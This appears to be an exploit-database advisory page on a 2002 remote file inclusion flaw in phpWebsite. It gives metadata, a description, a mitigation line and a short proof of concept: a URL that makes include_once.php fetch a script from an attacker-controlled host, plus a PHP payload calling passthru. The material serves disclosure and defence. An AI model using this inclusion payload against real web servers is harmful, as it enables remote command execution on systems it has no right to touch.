header-logo
Suggest Exploit
vendor:
phpWebsite
by:
Tim Vandermeersch
7.5
CVSS
HIGH
Remote File Include
98
CWE
Product Name: phpWebsite
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2002

Remote File Include Vulnerability in phpWebsite

It is possible for an attacker to specify a remote location for phpWebsite to download an attacker-supplied htmlheader.php script. This issue could be exploited to execute arbitrary commands within the context of the webserver process.

Mitigation:

Ensure that the application is not vulnerable to remote file inclusion attacks by validating user input.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/5779/info

A vulnerability has been discovered in phpWebsite which allows an attacker to remotely include a malicious PHP file. It is possible for an attacker to specify a remote location for phpWebsite to download an attacker-supplied htmlheader.php script. 

This issue could be exploited to execute arbitrary commands within the context of the webserver process.

The following proof of concept has been supplied by Tim Vandermeersch:

http://SERVER/catalog/inludes/include_once.php?inc_prefix=http://MYBOX/

--- htmlheader.php ---
<?php echo "<?php passthru("/bin/ls");?>" ?> .